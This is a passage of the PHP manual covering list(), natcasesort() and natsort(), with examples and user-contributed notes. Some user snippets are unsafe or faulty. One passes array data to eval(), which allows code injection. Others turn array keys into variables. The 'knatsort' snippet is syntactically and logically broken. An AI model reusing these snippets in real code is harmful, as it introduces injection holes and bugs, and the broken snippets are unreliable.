   list( $one, $two, $three ) = $array + Array( null, null, null );

   # If you know count($array) will be at least 1, you could skip the first index:
   list( $one, $two, $three ) = $array + Array( 1 => null, null );

   # You could of course also use other default values:
   list( $one, $two, $three ) = $array + Array( "one", "two", "three" );
?>
lili at nikha dot org 04-Apr-2011 04:02
Keep it simple!
For associative arrays, my replacement for list() is this:
<?php
foreach ($associative_array as $key => $value) { $$key = $value; }
?>

Example:
<?php
$petnames = array();
$petnames['dog'] = 'Paul';
$petnames['cat'] = 'Lili';

foreach ($petnames as $name => $value) { $$name = $value; }

echo 'my pets are '.$dog.' and '.$cat;
?>

Will give you:
my pets are Paul and Lili
develop at dieploegers dot de 31-Mar-2010 03:37
Remember, that list starts from index 0. You can skip an index if you just leave the column blank like this:

<?php
list(,$a,$b,$c) = array(1,2,3,4);
?>

You CAN'T (at least not in 5.3.1, what I have tested) set the column to null:

<?php
list(null,$a,$b,$c) = array(1,2,3,4);
?>

This will fail.
Anonymous 12-Mar-2010 09:29
Quick little function that is similar to list but for objects.

<?php
    function listObj() {
        $stack = debug_backtrace();
        if (isset($stack[0]['args'])) {
            $i = 0;
            $args = $stack[0]['args'];
            foreach ($args[0] as $key => $value)
                $args[++$i] = $value;
        }
    }

    class obj {public $var = "test"; public $vars = "test2"; function obj() {}}
    listObj(new obj, &$var, &$var2);
    echo $var, $var2;
?>
claude dot pache at gmail dot com 13-May-2009 03:26
A simple way to swap variables (correction of a note of mario dot mueller dot work at gmail dot com below):
<?php
list($var1, $var2) = array($var2, $var1); // swaps the values of $var1 and $var2
?>
Note that this is not equivalent to:
<?php
$var2 = $var1; $var1 = $var2; // $var1 and $var2 get both the old value of $var1
?>
as one could fear. Indeed, the array is constructed with the values of $var1 and $var2 (and not with the variables $var1 and $var2 themselves) before the assignment is carried out.

Similarly, it is possible to bypass the problem pointed by sasha in the previous note by providing an expression rather than a variable on the right-hand side of the assignment operator:
<?php
$var = array ("test" ,"blah");
list ($a,$var) = $var + array();
echo $a ; // prints "test", not "b"
echo $var ; // prints "blah"
?>
tristan in oregon 08-Apr-2008 07:44
Here's yet another way to make a list()-like construct for associative arrays. This one has the advantage that it doesn't depend on the order of the keys, it only extracts the keys that you specify, and only extracts them into the current scope instead of the global scope (which you can still do, but at least here you have the option).

<?php
    $arr  = array("foo" => 1, "bar" => 2, "baz" => 3);
    $keys = array("baz");

//  $foo = 10;
    $bar = 20;
    $baz = 30;

    extract(array_intersect_key($arr, $keys));

    var_dump($foo);
    var_dump($bar);
    var_dump($baz);
?>

Should print
NULL
int(20)
int(3)

If your version of PHP doesn't have array_intersect_key() yet (below 5.1 I think), it's easy to write a limited feature replacement for this purpose.

<?php
function my_array_intersect_key ($assoc, $keys)
{
    $intersection = array();
    foreach ($assoc as $key => $val)
        if (in_array($key, $keys))
            $intersection[$key] = $val;

    return $intersection;
}
?>
kevin at vanzonneveld dot net 06-Feb-2008 07:12
Another way to do it associative (if your array isn't numeric), is to just use array_values like this:

<?php
$os = array();
$os["main"] = "Linux";
$os["distro"] = "Ubuntu";
$os["version"] = "7.10";

list($main, $distro, $version) = array_values($os);
?>
danieljames3 at g mail 19-Jan-2008 05:51
With regard to the note written by ergalvan at bitam dot com:

You must take note that list() assigns variables starting from the rightmost one (as stated in the warning). That makes $record having the value "value4" and then $var1, $var2 and $var3 take their values from the "new" $record variable.

It's clear that the behavior stated in the warning wasn't followed by version 5.0.4 (and perhaps previous versions?)

----------

I'm still seeing this behavior in PHP 5.2.5.  Hopefully someone can comment on why it's been changed.
Hayley Watson 04-Nov-2007 12:36
In the code by tenz699 at hotmail dot com, the list() construct is taking values from the result of the each() function, not from the associative array; the example is therefore spurious.

each() returns an array of four elements, indexed in the order 1, 'value', 0, 'key'. As noted in the documentation, the associative keys are ignored, and the numerically-indexed values are assigned in key order.

<?php
$array = array('foo'=>'bar');
$t = each($array);
print_r($t);
list($a,$b,$c,$d) = $t;
var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
?>

Output:
Array
(
    [1] => bar
    [value] => bar
    [0] => foo
    [key] => foo
)
string(3) "foo"
string(3) "bar"
NULL
NULL
tenz699 at hotmail dot com 18-Sep-2007 10:50
PhP manual's NOTE says: list() only works on numerical arrays and assumes the numerical indices start at 0.

I'm finding it do works for associative arrays too,as below:

<?
$tenzin = array ("1" => "one", "2" => "two","3"=>"three");
while(list($keys,$values) = each($tenzin))
echo($keys." ".$values."<br>");
?>

gives O/P
1 one
2 two
3 three

tsarma
mick at wireframe dot com 08-Aug-2007 12:08
It's worth noting that, as expected, list() does not have to have as many variables (and/or empty skips) as there are elements in the array. PHP will disregard all elements that there are no variables for. So:

<?php
$Array_Letters = array('A', 'B', 'C', 'D', 'E', 'F');

list($Letter_1, $Letter_2) = $Array_Letters;

echo $Letter_1 . $Letter_2;
?>

Will output: AB

Mick
tobylewis at logogriph dot com 08-May-2007 03:55
The list construct assigns elements from a numbered array starting from element zero.  It does not assign elements from associative arrays.  So

$arr = array();
$arr[1] = 'x';
list($a, $b) = $arr;
var_dump($a); //outputs NULL because there is no element [0]
var_dump($b); //outputs 'x'

and

$arr = array('red'=>'stop','green'=>'go');
list($a, $b) = $arr;
var_dump($a); //outputs NULL
var_dump($b); //outputs NULL

If there are not enough elements in the array for the variables in the list the excess variables are assigned NULL.

If there are more elements in the array than variables in the list, the extra array elements are ignored without error.

Also the warning above about order of assignment is confusing until you get used to php arrays.  The order in which array elements are stored is the order in which elements are assigned to the array.  So even in a numbered array if you assign $may_arr[2] before you assign $my_array[0] then element [2] will be in the array before [0].  This becomes apparent when using commands like, push, shift or foreach which work with the stored order of the elements.  So the warning only applies when the variables in the list are themselves array elements which have not already been assigned to their array.
ergalvan at bitam dot com 04-May-2006 11:29
With regard to the note written by dolan at teamsapient dot com:

You must take note that list() assigns variables starting from the rightmost one (as stated in the warning). That makes $record having the value "value4" and then $var1, $var2 and $var3 take their values from the "new" $record variable.

It's clear that the behavior stated in the warning wasn't followed by version 5.0.4 (and perhaps previous versions?)
dolan at teamsapient dot com 06-Apr-2006 11:08
I noticed w/ version 5.1.2, the behavior of list() has changed (this occurred at some point between version 5.0.4 and 5.1.2).  When re-using a variable name in list() that list() is being assigned to, instead of the values being assigned all at once, the reused variable gets overwritten before all the values are read.

Here's an example:
** disclaimer: obviously this is sloppy code, but I want to point out the behavior change (in case anyone else comes across similar code) **

<?
$data = array();
$data[] = array("value1", "value2", "value3", "value4");
$data[] = array("value1", "value2", "value3", "value4");
$data[] = array("value1", "value2", "value3", "value4");
$data[] = array("value1", "value2", "value3", "value4");

foreach($data as $record)
{
    list($var1, $var2, $var3, $record) = $record;
    echo "var 1: $var1, var 2: $var2, var 3: $var3, record: $record\\n";
}
?>

OUTPUT on version 5.0.4:
var 1: value1, var 2: value2, var 3: value3, record: value4
var 1: value1, var 2: value2, var 3: value3, record: value4
var 1: value1, var 2: value2, var 3: value3, record: value4
var 1: value1, var 2: value2, var 3: value3, record: value4

OUTPUT on version 5.1.2:
var 1: v, var 2: a, var 3: l, record: value4
var 1: v, var 2: a, var 3: l, record: value4
var 1: v, var 2: a, var 3: l, record: value4
var 1: v, var 2: a, var 3: l, record: value4
mzizka at hotmail dot com 02-Jan-2006 08:49
Elements on the left-hand side that don't have a corresponding element on the right-hand side will be set to NULL. For example,

<?php
$y = 0;
list($x, $y) = array("x");
var_dump($x);
var_dump($y);
?>

Results in:

string(1) "x"
NULL
Nearsighted 25-Jul-2005 07:34
list, coupled with while, makes for a handy way to populate arrays.

while (list($repcnt[], $replnk[], $date[]) = mysql_fetch_row($seek0))
{
// insert what you want to do here.
}

PHP will automatically assign numerical values for the array because of the [] signs after the variable.

From here, you can access their row values by array numbers.

eg.

for ($i=0;$i<$rowcount;$i++)
{
echo "The title number $repcnt[$i] was written on $date[$i].";
}
webmaster at miningstocks dot com 31-May-2005 11:05
One way to use the list function with non-numerical keys is to use the array_values() function

<?php
$array = array ("value1" => "one", "value2" => "two");
list ($value1, $value2) = array_values($array);
?>
mortoray at ecircle-ag dot com 16-Feb-2005 01:29
There is no way to do reference assignment using the list function, therefore list assignment is will always be a copy assignment (which is of course not always what you want).

By example, and showing the workaround (which is to just not use list):

    function &pass_refs( &$a ) {
        return array( &$a );
    }

    $a = 1;
    list( $b ) = pass_refs( $a ); //*
    $a = 2;
    print( "$b" ); //prints 1

    $ret = pass_refs( $a );
    $b =& $ret[0];
    $a = 3;
    print( "$b" ); //prints 3

*This is where some syntax like the following would be desired:
   list( &$b ) = pass_refs( $a );
or maybe:
   list( $b ) =& pass_refs( $a );
jennevdmeer at zonnet dot nl 21-Oct-2004 08:29
This is a function simulair to that of 'list' it lists an array with the 'key' as variable name and then those variables contain the value of the key in the array.
This is a bit easier then list in my opinion since you dont have to list up all variable names and it just names them as the key.

<?php
 function lista($a) {
  foreach ($a as $k => $v) {
   $s = "global \$".$k;
   eval($s.";");
   $s = "\$".$k ." = \"". $v."\"";
   eval($s.";");
  }
 }
?>
HW 14-Aug-2004 01:08
The list() construct can be used within other list() constructs (so that it can be used to extract the elements of multidimensional arrays):
<?php
$matrix = array(array(1,2),
                array(3,4));

list(list($tl,$tr),list($bl,$br)) = $matrix;

echo "$tl $tr $bl $br";
?>
Outputs "1 2 3 4".
jeronimo at DELETE_THIS dot transartmedia dot com 28-Jan-2004 07:28
If you want to swap values between variables without using an intermediary, try using the list() and array() language constructs. For instance:

<?

// Initial values.
$biggest = 1;
$smallest = 10;

// Instead of using a temporary variable...
$temp = $biggest;
$biggest = $smallest;
$smallest = $temp;

// ...Just swap the values.
list($biggest, $smallest) = array($smallest, $biggest);

?>

This works with any number of variables; you're not limited to just two.
Cheers,
Jeronimo
rubein at earthlink dot net 28-Dec-2000 05:15
Note: If you have an array full of arrays, you can't use list() in conjunction to foreach() when traversing said array, e.g.

$someArray = array(
  array(1, "one"),
  array(2, "two"),
  array(3, "three")
);

foreach($somearray as list($num, $text)) { ... }

This, however will work

foreach($somearray as $subarray) {
  list($num, $text) = $subarray;
  ...
}
ksort
natcasesort
Array Functions


Sort an array using a case insensitive "natural order" algorithm

list
natsort
Array Functions
PHP Manual

natcasesort

(PHP 4, PHP 5)

natcasesort — Sort an array using a case insensitive "natural order" algorithm

Description

bool natcasesort ( array &$array )

natcasesort() is a case insensitive version of natsort().

This function implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering".

Parameters

array

The input array.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 natcasesort() example

<?php
$array1 = $array2 = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

sort($array1);
echo "Standard sorting\n";
print_r($array1);

natcasesort($array2);
echo "\nNatural order sorting (case-insensitive)\n";
print_r($array2);
?>

The above example will output:

Standard sorting
Array
(
    [0] => IMG0.png
    [1] => IMG3.png
    [2] => img1.png
    [3] => img10.png
    [4] => img12.png
    [5] => img2.png
)

Natural order sorting (case-insensitive)
Array
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

See Also

  • natsort() - Sort an array using a "natural order" algorithm
  • The comparison of array sorting functions
  • strnatcmp() - String comparisons using a "natural order" algorithm
  • strnatcasecmp() - Case insensitive string comparisons using a "natural order" algorithm

User Contributed Notes

w-dot-rosenbach-at-netskill-de 14-Dec-2010 09:45
Sorting UTF-8 by arbitrary order:

<?php
mb_internal_encoding("UTF-8");

class utf_8_german
{
  // everything else is sorted at the end
  static $order = '0123456789AaÃ„Ã¤BbCcDdEeFfGgHhIiJjKkLlMm
NnOoÃ–Ã¶PpQqRrSsÃŸTtUuÃœÃ¼VvWwXxYyZz';
  static $char2order;

  static function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }

    // lazy init mapping
    if (empty(self::$char2order))
    {
      $order = 1;
      $len = mb_strlen(self::$order);
      for ($order=0; $order<$len; ++$order)
      {
        self::$char2order[mb_substr(self::$order, $order, 1)] = $order;
      }
    }

    $len_a = mb_strlen($a);
    $len_b = mb_strlen($b);
    $max=min($len_a, $len_b);
    for($i=0; $i<$max; ++$i)
    {
      $char_a= mb_substr($a, $i, 1);
      $char_b= mb_substr($b, $i, 1);

      if ($char_a == $char_b) continue;
      $order_a = (isset(self::$char2order[$char_a])) ? self::$char2order[$char_a] : 9999;
      $order_b = (isset(self::$char2order[$char_b])) ? self::$char2order[$char_b] : 9999;

      return ($order_a < $order_b) ? -1 : 1;
    }
    return ($len_a < $len_b) ? -1 : 1;
  }
}

// usage example:

$t = array(
  'Birnen', 'Birne', 'Ã„pfel', 'Apfel',
);

uasort($t, 'utf_8_german::cmp');
echo '$t: <pre>'.htmlspecialchars(print_r($t,true),null,'UTF-8').'</pre>';
?>
shawn at shawnwilkerson dot com 05-May-2009 10:03
I kept getting varied results using natcasesort and sort on mixed arrays -- per the descriptions.

Sometimes simple is better:

A little snippet of code:

<?php                        if($responders->num_rows) {
                            $i=0;
                            while($row= $responders->fetch_assoc()) {
                                $user=getUserName($row['responderID']);
                                $r[$i]= array("sortname"=>strtolower($user),"userName"=>$user, "userID"=>$row['responderID'], "responderID"=>$row['idresponders']);
                                $i++;
                            }
                            sort($r);
                            print_r($r);
                        }

?>

I simply created a lower cased sort field at the front of the result set and then sort by it -- which provides the expected result and leaves the actual needed fields unchanged.

For the curious:  all user information is kept completed in another database (and table) from the content database due to security reasons.  The getUser functions we have written allow us to pull only what is legally allowed without exposing anything else.

This is why a left join or something wasn't used and we have to build a pseudo result array here from both databases.
claude at schlesser dot lu 07-Jan-2009 12:41
Here a function that will natural sort an array by keys with keys that contain special characters.

<?php
function natksort($array)
{
    $original_keys_arr = array();
    $original_values_arr = array();
    $clean_keys_arr = array();

    $i = 0;
    foreach ($array AS $key => $value)
    {
        $original_keys_arr[$i] = $key;
        $original_values_arr[$i] = $value;
        $clean_keys_arr[$i] = strtr($key, "Ã„Ã–ÃœÃ¤Ã¶Ã¼Ã‰ÃˆÃ€Ã‹Ã«Ã©Ã¨Ã Ã§", "AOUaouEEAEeeeac");
        $i++;
    }

    natcasesort($clean_keys_arr);

    $result_arr = array();

    foreach ($clean_keys_arr AS $key => $value)
    {
        $original_key = $original_keys_arr[$key];
        $original_value = $original_values_arr[$key];
        $result_arr[$original_key] = $original_value;
    }

    return $result_arr;
}
?>

Hope it will be useful to somebody :)
Kim 02-Dec-2008 07:45
If your array already is sorted ASC or DESC, then natcasesort, ksort and sort (I only tested those) will invert the sorting order.
This is most troublesome since its impossible to force a sorting order. I had to use array_multisort instead and lose the natrual sorting.

Natcasesort expects a single dimension array, so if your value is an array then it will report a "Array to string conversion" notice per key/value set.
php at method5 dot de 06-Nov-2003 10:56
hi all,
this is my first post at php.net first of all thank you for this huge site :)

ok i found it usefull to post this for others. in the german language we have words like 'ä ö ü' its called "umlaute" and it was a problem to me to "naturally" sort an huge array correctly so i coded this small block to get me helped, if anyone has an better idea please post and let us know as i am not a real crack :)

1. change each "umlaut" (äöüß) into its "nearest" equivalent
2. natcasesorting it naturally
3. re-assiging the correct sorted array with the original-words again while keeping track of the KEY...

example-array:
$aSupplier = array(3 => "MAN",2 => "Atlas",16 => "Chevrolet",17 => "Chrysler",19 => "Citroen",24 => "DAF",25 => "Daihatsu",27 => "Daewoo",28 => "Demag",30 => "Dodge",36 => "Schierling",208 => "HIAB",38 => "Hüffermann",39 => "Gergen",40 => "Kubato",41 => "Faun",43 => "Kleindienst",44 => "Swing",45 => "Neuhaus",46 => "Unimog",47 => "Meiller",48 => "Pfau-Johnston",49 => "Geesink",50 => "Schörling",51 => "Demag-Witting",53 => "Helmers",54 => "Ellermann",55 => "Jacobsen",56 => "Biki",57 => "Hansa",58 => "Kramer",59 => "Schmitz",60 => "Toro",61 => "Iseki",62 => "Haller",63 => "Kuka",64 => "Brock",65 => "Ambross",66 => "Sobernheimer",67 => "Pietsch",68 => "Küpper",69 => "Weisser",71 => "Wackenhut");

foreach ( $aSupplier as $key => $value )
{
    $aSupplier2[$key] = strtr($aSupplier[$key], "ÄÖÜäöüß", "AOUaous");
}

natcasesort($aSupplier2);

foreach ( $aSupplier2 as $key => $value )
{
  if ( $aSupplier2[$key] != "" )
    $aSupplier3[$key] = $aSupplier[$key];
}

echo "<pre>";
print_r($aSupplier3);
echo "</pre>";

greetz
tim
vbAlexDOSMan at Yahoo dot com 12-Sep-2003 01:21
Ulli at Stemmeler dot net:  I remade your function -- it's a little more compact now -- Enjoy...

function ignorecasesort(&$array) {

  /*Make each element it's lowercase self plus itself*/
  /*(e.g. "MyWebSite" would become "mywebsiteMyWebSite"*/
  for ($i = 0; $i < sizeof($array); $array[$i] = strtolower($array[$i]).$array[$i], $i++);

  /*Sort it -- only the lowercase versions will be used*/
  sort($array);

  /*Take each array element, cut it in half, and add the latter half to a new array*/
  /*(e.g. "mywebsiteMyWebSite" would become "MyWebSite")*/
  for ($i = 0; $i < sizeof($array); $i++) {
    $this = $array[$i];
    $array[$i] = substr($this, (strlen($this)/2), strlen($this));
  }
}
dslicer at maine dot rr dot com 02-Jun-2003 06:41
Something that should probably be documented is the fact that both natsort and natcasesort maintain the key-value associations of the array. If you natsort a numerically indexed array, a for loop will not produce the sorted order; a foreach loop, however, will produce the sorted order, but the indices won't be in numeric order. If you want natsort and natcasesort to break the key-value associations, just use array_values on the sorted array, like so:

natcasesort($arr);
$arr = array_values($arr);
tmiller25 at hotmail dot com 25-Apr-2002 07:55
add this loop to the function above if you want items which have the same first characters to be listed in a way that the shorter string comes first.
--------------------
  /* short before longer (e.g. 'abc' should come before 'abcd') */
  for($i=count($array)-1;$i>0;$i--) {
    $str_a = $array[$i  ];
    $str_b = $array[$i-1];
    $cmp_a = strtolower(substr($str_a,0,strlen($str_a)));
    $cmp_b = strtolower(substr($str_b,0,strlen($str_a)));
    if ($cmp_a==$cmp_b && strlen($str_a)<strlen($str_b)) {
      $array[$i]=$str_b; $array[$i-1]=$str_a; $i+=2;
    }
  }
--------------------
Ulli at Stemmeler dot net 05-Apr-2002 08:01
natcasesort didn't work first time I needed something like this.
Not on my local server, not on my server on the web.
I needed an array sorted ignoring upper and lower cases. In the end lower case array-members stayed at the end of the array.

I replaced it with this function:
---------
function ignorecasesort(&$array) {
$separator="|<>|";
for($i=0;$i<sizeof($array);$i++) { $array[$i]=strtolower($array[$i]).$separator.$array[$i]; }
sort($array);
for($i=0;$i<sizeof($array);$i++) { $this=$array[$i]; $this=explode($separator,$this); $array[$i]=$this[1]; }
}
---------
list
natsort
Array Functions


Sort an array using a "natural order" algorithm

natcasesort
next
Array Functions
PHP Manual

natsort

(PHP 4, PHP 5)

natsort — Sort an array using a "natural order" algorithm

Description

bool natsort ( array &$array )

This function implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering". An example of the difference between this algorithm and the regular computer string sorting algorithms (used in sort()) can be seen in the example below.

Parameters

array

The input array.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.2.10 | Zero padded numeric strings (e.g., '00005') now essentially ignore the 0 padding.

Examples

Example #1 natsort() examples demonstrating basic usage

<?php
$array1 = $array2 = array("img12.png", "img10.png", "img2.png", "img1.png");

asort($array1);
echo "Standard sorting\n";
print_r($array1);

natsort($array2);
echo "\nNatural order sorting\n";
print_r($array2);
?>

The above example will output:

Standard sorting
Array
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Natural order sorting
Array
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

Example #2 natsort() examples demonstrating potential gotchas

<?php
echo "Negative numbers\n";
$negative = array('-5','3','-2','0','-1000','9','1');
print_r($negative);
natsort($negative);
print_r($negative);

echo "Zero padding\n";
$zeros = array('09', '8', '10', '009', '011', '0');
print_r($zeros);
natsort($zeros);
print_r($zeros);

echo "Other characters interfering\n";
$images_oops = array('image_1.jpg','image_12.jpg', 'image_21.jpg', 'image_4.jpg');
print_r($images_oops);
natsort($images_oops);
print_r($images_oops);

echo "Sort by keys\n";
$smoothie = array('orange' => 1, 'apple' => 1, 'yogurt' => 4, 'banana' => 4);
print_r($smoothie);
uksort( $smoothie, 'strnatcmp');
print_r($smoothie);
?>

The above example will output:

Negative numbers
Array
(
    [0] => -5
    [1] => 3
    [2] => -2
    [3] => 0
    [4] => -1000
    [5] => 9
    [6] => 1
)
Array
(
    [2] => -2
    [0] => -5
    [4] => -1000
    [3] => 0
    [6] => 1
    [1] => 3
    [5] => 9
)

Zero padding
Array
(
    [0] => 09
    [1] => 8
    [2] => 10
    [3] => 009
    [4] => 011
    [5] => 0
)
Array
(
    [5] => 0
    [1] => 8
    [3] => 009
    [0] => 09
    [2] => 10
    [4] => 011
)

Other characters interfering
Array
(
    [0] => image_1.jpg
    [1] => image_12.jpg
    [2] => image_21.jpg
    [3] => image_4.jpg
)
Array
(
    [0] => image_1.jpg
    [3] => image_4.jpg
    [1] => image_12.jpg
    [2] => image_21.jpg
)

Sort by keys
Array
(
    [orange] => 1
    [apple]  => 1
    [yogurt] => 4
    [banana] => 4
)
Array
(
    [apple]  => 1
    [banana] => 4
    [orange] => 1
    [yogurt] => 4
)

See Also

  • natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • The comparison of array sorting functions
  • strnatcmp() - String comparisons using a "natural order" algorithm
  • strnatcasecmp() - Case insensitive string comparisons using a "natural order" algorithm

User Contributed Notes

RuneImp at gmail dot com 13-Jan-2012 08:17
A natural key sorting function that won't loose data. Using an array_flip technique might be faster but can loose data if the initial values are not all unique.

<?php
/**
 * keyNatSort does a natural sort via key on the supplied array.
 *
 * @param   $array      The array to natural sort via key.
 * @param   $saveMemory If true will delete values from the original array as it builds the sorted array.
 * @return  Sorted array on success. Boolean false if sort failed or null if the object was not an array.
 */
function keyNatSort($array, $saveMemory=false)
{
    if(is_array($array))
    {
        $keys = array_keys($array);
        if(natsort($keys))
        {
            $result = array();
            foreach($keys as $key)
            {
                $result[$key] = $array[$key];
                if($saveMemory)
                    unset($array[$key]);
            }

        }
        else
            $result = false;
    }
    else
        $result = null;

    return $result;
}
?>
jonathan_2097 at hotmail dot com 16-Nov-2011 10:33
natsort by key
<?php
function knatsort($array)
{
    return array_flip(natsort(array_flip($array));
}
?>
Johan GENNESSON (php at genjo dot fr) 24-Nov-2010 07:18
Be careful of the new behaviour in 5.2.10 version.
See the following sample:

<?php

$array = array('1 bis', '10 ter', '0 PHP', '0', '01', '01 Ver', '0 ', '1 ', '1');

natsort($array);
echo '<pre>';
print_r($array);
echo '</pre>';
?>

5.2.6-1 will output:
Array
(
    [3] => 0
    [6] => 0
    [2] => 0 OP
    [4] => 01
    [5] => 01 Ver
    [8] => 1
    [7] => 1
    [0] => 1 bis
    [1] => 10 ter
)

5.2.10 will output:
Array
(
    [6] => 0
    [3] => 0
    [8] => 1
    [4] => 01
    [7] => 1
    [5] => 01 Ver
    [0] => 1 bis
    [1] => 10 ter
    [2] => 0 OP
)

Greetings
the_A at gmx dot at 03-Feb-2010 07:55
Another approach to a natsord2d-function:
Imagine having an array like:
Array
(
    [subarray1] => Array
        (
            [1] => foo
            [2] => bar
        )
    [subarray2] => Array
        (
            [1] => 12
            [2] => 2
        )
)
and you want to natsort it (=all the sub-arrays) by the values of sub-array2

<?php
    function natsort2d_custom (&$array, $sortby) {
        natsort($array[$sortby]);    //First natsort the specified sub-array $sortby
        $sorted_array = array();    //Create a temporary array
        $sorted_array[$sortby] = $array[$sortby];     //Add the sorted sub-array to the temporary array with teh same key

        foreach($array AS $key1=>$value1) {     //Walking through the rest of $array, ...
            if($key1 != $sortby) {     //...leaving out [$sortby]
                $sorted_array[$key1] = array();     //Create sub-array $key1

                foreach ($array[$sortby] AS $key2=>$value2) {     //Walk trough $array[$sortby] (which is now already natsorted) key by key
                    $sorted_array[$key1][$key2] = $array[$key1][$key2];
                    // Put keys (and values) of array[$key1] in the same order as array[$sort] and stuff it into $sorted_array with the same key
                }
            }
        }
        $array = $sorted_array;
        reset($array);
    }
?>
After sorting the array this way, it would be:
Array
(
    [subarray1] => Array
        (
           [2] => bar
           [1] => foo

        )
    [subarray2] => Array
        (
            [2] => 2
            [1] => 12
        )
)

This works, of course, with an unlimited amount of sub-arrays, provided none of the sub-arrays has a sub-array itself (non-recoursive)
Christoph 25-Nov-2009 10:45
Note:

The natsort function will sort depending on the operating system, but not depending on either Linux or Windows-based systems

There's a difference when sorting an array which is generated from the filesystem:
Array(
    [0] => ./system/kernel/js/01_ui.core.js
    [1] => ./system/kernel/js/00_jquery-1.3.2.js
    [2] => ./system/kernel/js/02_my.desktop.js
)

natsort($array) will result in two different ways:

Case 1: (Debian)
Array(
    [1] => ./system/kernel/js/00_jquery-1.3.2.js
    [0] => ./system/kernel/js/01_ui.core.js
    [2] => ./system/kernel/js/02_my.desktop.js
)

Case 2: (Debian Kernel, but Ubuntu shadowed php-Version)
Array(
    [0] => ./system/kernel/js/01_ui.core.js
    [2] => ./system/kernel/js/02_my.desktop.js
    [1] => ./system/kernel/js/00_jquery-1.3.2.js
)

...so make sure you've named the files beginning with 01, then it works fine.
kirik-san at users.sourceforge.net 29-Oct-2009 07:51
Just a reverse sorting function for "natural order" algorithm:
<?php
function natrsort(&$array)
{
    natsort($array);
    $array = array_reverse($array);
}

$arr = array("img12.png", "img2.png", "img1.png", "img10.png");
natrsort($arr);
print_r($arr);
?>
ale152 16-Mar-2009 02:00
Note: negatives number.
<?php
$a = array(-5,-2,3,9);
natsort($a);
print_r($a);
?>
Will output:
Array ( [1] => -2 [0] => -5 [2] => 3 [3] => 9 )
AJenbo 15-Jan-2009 01:33
natsort might not act like you would expect with zero padding, heres a quick sample.

<?php
$array = array('09', '8', '10', '009', '011');
natsort($array);
?>
/*
Array
(
    [3] => 009
    [4] => 011
    [0] => 09
    [1] => 8
    [2] => 10
)
*/
wyvern at greywyvern dot com 17-Dec-2008 10:53
There's no need to include your own API code to natsort an associative array by key.  PHP's in-built functions (other than natsort) can do the job just fine:

<?php
  uksort($myArray, "strnatcmp");
?>
awizemann at gmail dot com 30-Aug-2007 12:34
natsort() will not work correctly if you use underscores in file names (if your array is for sorting files).

Example:

$images = array('image_1.jpg','image_12.jpg');

Will not produce the same as:

$images = array('image1.jpg','image12.jpg');
lacent at gmail dot com 16-Jan-2007 09:42
there is another rnatsort function lower on the page, but it didn't work in the context i needed it in.

reasoning for this:
sorting naturally via the keys of an array, but needing to reverse the order.

    function rnatsort ( &$array = array() )
    {
        $keys    = array_keys($array);
        natsort($keys);
        $total    = count($keys) - 1;
        $temp1    = array();
        $temp2     = array();

        // assigning original keys to an array with a backwards set of keys, to use in krsort();
        foreach ( $keys as $key )
        {
            $temp1[$total] = $key;
            --$total;
        }

        ksort($temp1);

        // setting the new array, with the order from the krsort() and the values of original array.
        foreach ( $temp1 as $key )
        {
            $temp2[$key] = $array[$key];
        }

        $array = $temp2;
    }
@gmail bereikme 01-Sep-2006 08:06
Here's a handy function to sort an array on 1 or more columns using natural sort:
<?php
// Example: $records = columnSort($records, array('name', 'asc', 'addres', 'desc', 'city', 'asc'));

$globalMultisortVar = array();
function columnSort($recs, $cols) {
    global $globalMultisortVar;
    $globalMultisortVar = $cols;
    usort($recs, 'multiStrnatcmp');
    return($recs);
}

function multiStrnatcmp($a, $b) {
    global $globalMultisortVar;
    $cols = $globalMultisortVar;
    $i = 0;
    $result = 0;
    while ($result == 0 && $i < count($cols)) {
        $result = ($cols[$i + 1] == 'desc' ? strnatcmp($b[$cols[$i]], $a[$cols[$i]]) : $result = strnatcmp($a[$cols[$i]], $b[$cols[$i]]));
        $i+=2;
    }
    return $result;
}

?>

Greetings,

  - John
12-Mar-2006 07:44
The last comment should have been posted in doc about (r)sort( ). Indeed, and unfortunately, ORDER BY *does not* perform natural ordering. So, sometimes we *must* do a SQL request followed by natsort( ).
h3 22-Feb-2006 08:59
This function can be very usefull, but in some cases, like if you want to sort a MySQL query result, it's important to keep in mind that MySQL as built'in sorting functions which are way faster than resorting the result using a complex php algorythm, especially with large arrays.

ex; 'SELECT * FROM `table` ORDER BY columnName ASC, columnName2 DESC'
lil at thedreamersmaze dot spam-me-not dot org 31-Jan-2006 08:38
There's one little thing missing in this useful bit of code posted by mbirth at webwriters dot de:

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
   reset($value);
   $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
   $aryOut[$key] = $aryInput[$key];
// --------^^^^ add this if you want your keys preserved!
  }
  $aryInput = $aryOut;
}

?>
natcasesort.too 05-Aug-2005 03:17
I got caught out through naive use of this feature - attempting to sort a list of image filenames from a digital camera, where the filenames are leading zero padded (e.g. DSCF0120.jpg) , will not sort correctly.
Maybe the example could be modified to exhibit this behaviour
(e.g. set array to -img0120.jpg','IMG0.png', 'img0012.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png)
If the example hadn't used images I would have coded it correctly first time around!
mroach at mroach dot com 27-Jun-2005 09:08
Here's an expansion of the natsort2d function that mbirth wrote. This one allows you to specify the key for sorting.

<?php
function natsort2d( &$arrIn, $index = null )
{

    $arrTemp = array();
    $arrOut = array();

    foreach ( $arrIn as $key=>$value ) {

        reset($value);
        $arrTemp[$key] = is_null($index)
                            ? current($value)
                            : $value[$index];
    }

    natsort($arrTemp);

    foreach ( $arrTemp as $key=>$value ) {
        $arrOut[$key] = $arrIn[$key];
    }

    $arrIn = $arrOut;

}

?>
